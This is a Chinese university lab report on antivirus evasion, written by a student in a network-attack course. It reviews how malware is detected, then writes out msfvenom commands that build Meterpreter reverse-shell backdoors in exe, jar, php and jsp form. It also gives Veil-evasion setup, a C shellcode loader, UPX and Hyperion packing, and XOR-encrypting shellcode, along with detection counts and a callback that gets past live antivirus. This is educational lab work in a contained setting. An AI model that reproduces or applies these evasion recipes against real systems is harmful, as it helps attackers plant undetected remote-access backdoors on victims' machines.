2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践

2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践

一、预备知识

1.恶意代码检测机制

• (1)基于特征码的检测
  • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
• (2)启发式恶意软件检测
  • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
• (3)基于行为的恶意软件检测
  • 从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。

2.免杀原理(AV)

• (1)改变特征码
  • 有EXE
    • 加壳：压缩壳 加密壳
  • 有shellcode(像Meterpreter）
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译（veil-evasion）
• (2)改变行为
  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码
• (3)非常规方法
  • 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
  • 使用社工类攻击，诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件

二、实验内容

(1)正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，使用shellcode编程；

• 1、msf编码器生成exe

  • 直接检测

    • 将实验二中msf生成的后门程序5214_bd.exe上传到VirusTotal扫描，结果如下：
      

    • 可见，71个杀软有57个都检测了出来。

    • Virscan检测结果如下：
      

    • 可见，49个杀软有28个检测出来。

  • 进行10次编码

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f exe > bd_1.exe
      • 参数说明：
        • -b：删除字符；
        • -e：选择编码器；
        • -i：次数；
    • 上传检测，结果如下，和之前差距不大，可见编码没有太实质性的效果：
      

• 2、使用msf生成其他格式的文件

  • 生成jar：msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 x> 5214_bd.jar

    • 上传检测，结果如下，效果比exe好一点，有35个杀软检测出来：
      

  • 生成php：msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f raw >5214_bd.php

    • 上传检测，结果如下，只有3个检测出来：
      

  • 生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.177.132 LPORT=5214 R >5214_bd.jsp

    • 上传检测，结果如下，只有5个检测出来:
      

• 3、使用veil-evasion生成后门程序及检测

  • 我认为这是最麻烦的一步，反复安装了好多次才成功，浪费了不少时间；

  • 安装完成后，首先输入veil，进入veil界面，然后输入use evasion进入veil-evasion:
    

  • 接下来进行配置，输入use c/meterpreter/rev_tcp.py进入配置界面，主要要配置的是ip和端口，和msf一样，ip选的是kali的ip；

    • set LHOST 192.168.177.132
    • set LPORT 5214
      

  • 输入generate生成文件，并输入文件名，文件的路径如图所示：
    

  • 还是将文件上传检测，比msf生成的exe要好一点，结果如下：
    

• 4、使用shellcode编程

  • 在命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f c，生成shellcode；
    

  • vim一个c文件，具体代码如下：

unsigned char buf[] = 之前获得的shellcode;
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

• 对文件进行编译：i686-w64-mingw32-g++ bd_shellcode.c -o bd_shellcode.exe并上传检测：
  

• 5、加壳工具

  • 加壳是对相应的资源进行压缩，压缩后仍可运行。它可以用来保护版权，但同时许多病毒也利用它来作为原理。

  • 1、压缩壳(UPX)

    • 输入upx bd_shellcode.exe -o bd_shellcode_upx.exe进行加壳
      

    • 上传检测:
      

  • 2、加密壳(Hyperion)
    由于之前安装veil时是直接clone的，所以在对应的路径找不到Hyperion，就重新装了一个Hyperion，详细过程参见博客；

    • 将之前产生的bd_shellcode_upx.exe拷进Hyperion文件夹，并运行如下指令：

      • wine hyperion.exe -v bd_shellcode_upx.exe bd_shellcode_upx_Hyperion.exe
        

    • 惯例，将加了双重壳的exe上传网站检测：
      

    • 然后震惊地发现双重壳的被检测数相比单壳反而增加了......

• 6、使用其他课堂未介绍方法

  • 需要使用一个工具ShellcodeWrapper

  • 先用msfvenom生成一个raw格式的shellcode

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f raw > shellcode.raw

  • 然后进入下载ShellcodeWrapper文件夹中执行下面命令，其中tidesec为自己设置的key。

    • python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
      

  • 生成了三个文件，分别是C++源码，C#源码和py文件；

  • 将c++源码放进codeblock编译生成exe文件
    

  • 连接测试
    

  • 上传网站检测
    

(2)通过组合应用各种技术实现恶意代码免杀

• 具体思路：用msfvenom生成一个raw格式的shellcode，使用ShellcodeWrapper对shellcode进行xor加密，将生成的c++源码编译生成exe
• 使用360检测截图如下：
  

(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

• 使用的是win7的虚拟机；
• 运行结果和杀软版本如下：
  

三、基础问题回答

（1）杀软是如何检测出恶意代码的？

• 基于特征码的检测：如果一个可执行文件（或其他运行的库、脚本等）包含被标记过特征的数据则被认为是恶意代码。
• 启发式恶意软件检测：就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，它就被当做了恶意软件
• 基于行为的恶意软件检测：相当于是启发式的一种，或者是加入了行为监控的启发式。

（2）免杀是做什么？

• 使恶意代码可以逃过杀软的查杀

（3）免杀的基本方法有哪些？

• 改变特征码：进行exe文件加壳操作，或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
• 改变行为：使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
• 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
• 使用社工类攻击，诱骗目标关闭AV软件。
• 纯手工打造一个恶意软件

(4)开启杀软能绝对防止电脑中恶意代码吗？

• 不能，杀软在不断进步，恶意代码的技术也同样在不断更迭，我们能做的就是养成良好的上网习惯，并随时更新杀软病毒库，保证杀软的正常工作。

四、心得体会

  再次突破熬夜极限QAQ，真就一次比一次晚呗(凌晨五点......)，这次实验绝大多数时间花在装veil和自行实现免杀上，其实主要是我比较头铁，不想使用之前同学已经实现的方法，所以碰了不少壁，期间也数次想过要放弃，转用一个现成的方法，但我还是坚持了下来，最终能够成功实现出来也让我长舒口气。
  这次实验让我学会了免杀的基本原理以及基本的操作，明白了杀软不是万能的，更明白了系统安全的重要性，通过查阅资料也锻炼了我的自学能力，收获很大。